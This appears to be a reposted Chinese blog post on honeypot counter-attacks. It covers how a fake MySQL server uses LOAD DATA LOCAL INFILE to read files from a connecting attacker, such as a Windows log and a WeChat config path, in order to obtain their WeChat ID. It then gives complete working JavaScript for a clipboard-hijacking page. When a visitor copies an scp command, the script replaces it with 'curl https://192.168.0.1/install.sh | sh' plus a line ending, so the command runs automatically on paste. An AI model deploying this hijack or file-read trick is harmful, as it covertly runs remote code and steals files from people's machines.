從《MySQL蜜罐攻擊反制微信ID》中的啟發與復現


起因

看了《MySQL蜜罐獲取攻擊者微信ID》(Reference[2])一文之后,覺得思路非常新穎,溯源反制本就不該局限,需要靈活應用。

大致概述下 《MySQL蜜罐獲取攻擊者微信ID》所介紹的反制思路

需要知道反制思路的前提,需要對MySQL LOCAL INFILE漏洞原理有一定了解。

LOAD DATA LOCAL INFILE 'C:\WINDOWS\system32\drivers\etc\hosts' INTO TABLE test FIELDS TERMINATED BY 'n';

 

當客戶端鏈接上MySQL服務端並執行這條指令的時候,客戶端會向服務端發送一條查詢報文:

 

 MySQL服務端從客戶端那邊收到查詢報文,是一個讀取本地文件到MySQL表的執行語句,則MySQL需要返回一條“你要插入的文件hosts內容是什么”的報文給客戶端

 

 至此,客戶端讀取內容,並返送給MySQL服務器

 

 所以漏洞的成因很簡單,蜜罐偽裝成存在弱口令的MySQL服務器,當攻擊者爆破出用戶必會通過鏈接工具進行鏈接。

此時程序再通過漏洞讀取C:\Windows\PFRO.log文件獲取Username

再通過Username結合得到微信路徑'C:/Users/' + username + '/Documents/WeChat Files/All Users/config/config.data',拿到微信ID

文中給出利用程序地址:https://github.com/qigpig/MysqlHoneypot/blob/master/evalServer.py

 

思考

其實寫這篇文章的目的,是對二代蜜罐的反制發展的一個思考面,攻擊反制不能依賴於現狀!

這里就順便寫一下我的反制思路

隨着現在攻防愈加激烈,很多攻擊方已經做到了辦公—滲透環境分離,但是根據我多次使用虛擬機的情況,大都數攻擊者都有個通病,就是會開啟剪貼板互通功能。

所以我的切入點還是在網頁上,以劫持剪貼板的方式來迷惑攻擊者粘貼指定payload指令到剪貼板上

 

 但是這樣一來就能劫持攻擊者的剪貼板,但是目前還有2個問題!

1.如何確定攻擊者是剪貼到瀏覽器或者終端命令行,而不是記事本這類目標。

2.攻擊者不管復制什么都會被劫持成我們的payload,如此一來太明顯了

孫子兵法有雲:"水因地而制流,兵因敵而制勝.故兵無常勢,水無常形",故而可以局限的方式限制攻擊者的思維,引導攻擊者的攻擊思路!

1.偽裝成一個命令指令,攻擊者想來復制這條指令,那么執行對象必定是終端命令行了

2.監聽事件中做個判斷,只針對帶有命令的內容進行劫持

現在我們來實操一下:

<html>
<head>
    <title>xxx公司內部Wiki文檔</title>
    <script src="https://common.cnblogs.com/scripts/jquery-2.2.0.min.js"></script>
</head>
<body>
    <script type="text/javascript">
        $(document.body).bind({
            copy: function(e) {//copy事件
                let cpTxt = "curl https://192.168.0.1/install.sh | sh \r\n"; //payload
                let clipboardData = e.clipboardData || window.clipboardData; //for IE
                if (!clipboardData) { // for chrome
                    clipboardData = e.originalEvent.clipboardData;
                }
                let result = "";
                if(window.getSelection().toString() == "scp xxx.tar root@192.168.0.1:/xxx.tar"){
                    result = cpTxt;
                }else{
                    result = window.getSelection().toString();
                }
                clipboardData.setData('Text', result);
                            return false;//否則設不生效
            }});
    </script>
    <h1>xxx程序下載指令</h1>
    <h3>下載指令:</h3>
    <p>scp xxx.tar root@192.168.0.1:/xxx.tar</p>
    <h3>登錄密碼:123456</h3>
</body>

</html>

 這里感謝我的好友@花與海 給我提出的建議,讓我在命令后面直接加上\r\n,使其粘貼在命令行后可自動執行。

上述demo只針對scp這條指令做劫持替換,對我復制123456的操作不做任何改動,很好的隱蔽了反制的目的性。

附上動態測試圖:

 

Reference:

[1].https://www.colabug.com/2019/0408/5936906/

[2].https://mp.weixin.qq.com/s/m4I_YDn98K_A2yGAhv67Gg

[3].https://github.com/qigpig/MysqlHoneypot

[4].https://www.cnblogs.com/mmykdbc/p/7977985.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM